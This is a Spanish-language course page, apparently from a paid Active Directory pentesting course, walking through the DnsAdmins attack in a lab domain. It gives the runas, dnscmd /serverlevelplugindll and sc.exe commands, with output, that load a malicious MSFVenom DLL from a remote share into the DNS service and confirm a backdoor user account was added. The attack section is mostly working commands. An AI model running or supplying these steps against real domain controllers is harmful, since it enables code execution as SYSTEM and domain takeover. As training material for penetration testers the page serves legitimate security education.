# Cargando una dll maliciosa con dnscmd

{% hint style="info" %}
Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: <https://wa.link/ej3kiu>. ¡Te esperamos para empezar este viaje juntos!
{% endhint %}

## <mark style="color:red;">Impersonando al usuario dnsadmin.user</mark>

Primero ejecutamos el siguiente comando desde el equipo First-DC, el cual tiene instalado las caracteristicas de DNS-Server.

```powershell
PS C:\> runas /netonly /user:spartancybersec.corp\dnsadmin.user "powershell.exe"
Enter the password for spartancybersec.corp\dnsadmin.user:
Attempting to start powershell.exe as user "spartancybersec.corp\dnsadmin.user" ...
```

Despues de lo anterior, se solicitara la contraseña del usuario y nos aparecera una ventana que estara corriendo como el usuario dnsadmin.user:

<figure><img src="https://1580805812-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzDuZE3U19tNNqSAmcpyE%2Fuploads%2FZ8Rp0VNm1ViJ6qoR0PaR%2Fimage.png?alt=media&#x26;token=896fadec-4d38-4ed3-b29d-da0fa2dd8c56" alt=""><figcaption></figcaption></figure>

## <mark style="color:red;">¿Que es dnscmd?</mark>

La herramienta `dnscmd` es una utilidad de Windows diseñada para permitir a los usuarios con privilegios de DnsAdmins gestionar el servidor DNS. Esta utilidad puede ser instalada añadiendo las Herramientas del Servidor DNS a tu sistema, tal como se muestra en la captura de pantalla adjunta. Esta herramienta ofrece una interfaz de línea de comandos versátil y eficiente para administrar y configurar servidores DNS, facilitando tareas como la creación y gestión de zonas DNS, la actualización de registros y la modificación de configuraciones del servidor. Su uso es fundamental para el mantenimiento eficiente y seguro de la infraestructura de DNS en entornos administrados por Windows.

<figure><img src="https://1580805812-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzDuZE3U19tNNqSAmcpyE%2Fuploads%2FG0wdl6HjZDeWC1hAyR3D%2Fimage.png?alt=media&#x26;token=0cd0e8d9-280d-4cee-9a6f-a4cece0a3fb1" alt=""><figcaption></figcaption></figure>

Para realizar el ataque, vamos a utilizar la DLL maliciosa generado con MSFVenom que fue explicada en [generando-una-dll-maliciosa](https://books.spartan-cybersec.com/cpad/vulnerabilidades-y-ataques-en-ad/dnsadmins/generando-una-dll-maliciosa "mention")

Y el comando seria el siguiente y debe ser ejecutado desde la shell del usuario dnsadmin.user:

```powershell
PS C:\> hostname
First-DC

PS C:\> dnscmd First-DC /config /serverlevelplugindll \\10.0.1.50\shared\adduser2.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.
```

La DLL generado con MSFVenom se encuentra en el servidor USER-SERVER.

Ahora, la próxima vez que se inicie el servicio DNS, nuestra DLL maliciosa debería ser cargada en el proceso dns.exe y se debería ejecutar la logica incluida en la DLL. Por lo tanto, procedamos a reiniciar el servicio DNS con los siguientes comandos:

```bash
PS C:\Windows\system32> sc.exe \\First-DC stop dns
SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        
PS C:\Windows\system32> sc.exe \\First-DC start dns
SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 1968
        FLAGS              :
```

Despues de lo anterior, podemos revisar si fue exitoso el ataque:

```bash
PS C:\Windows\system32> net user vikingo
User name                    vikingo
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            11/13/2023 11:46:53 PM
Password expires             12/25/2023 11:46:53 PM
Password changeable          11/14/2023 11:46:53 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users
The command completed successfully.
```

Este ataque esta relacionado con la siguiente ruta:

```
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\InternalParameters
```

<figure><img src="https://1580805812-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzDuZE3U19tNNqSAmcpyE%2Fuploads%2Fsw5iRjAORSmNxM1dtC1s%2Fimage.png?alt=media&#x26;token=2a25cf92-f9d3-4a27-9dc1-aff3ae0ef5ba" alt=""><figcaption></figcaption></figure>
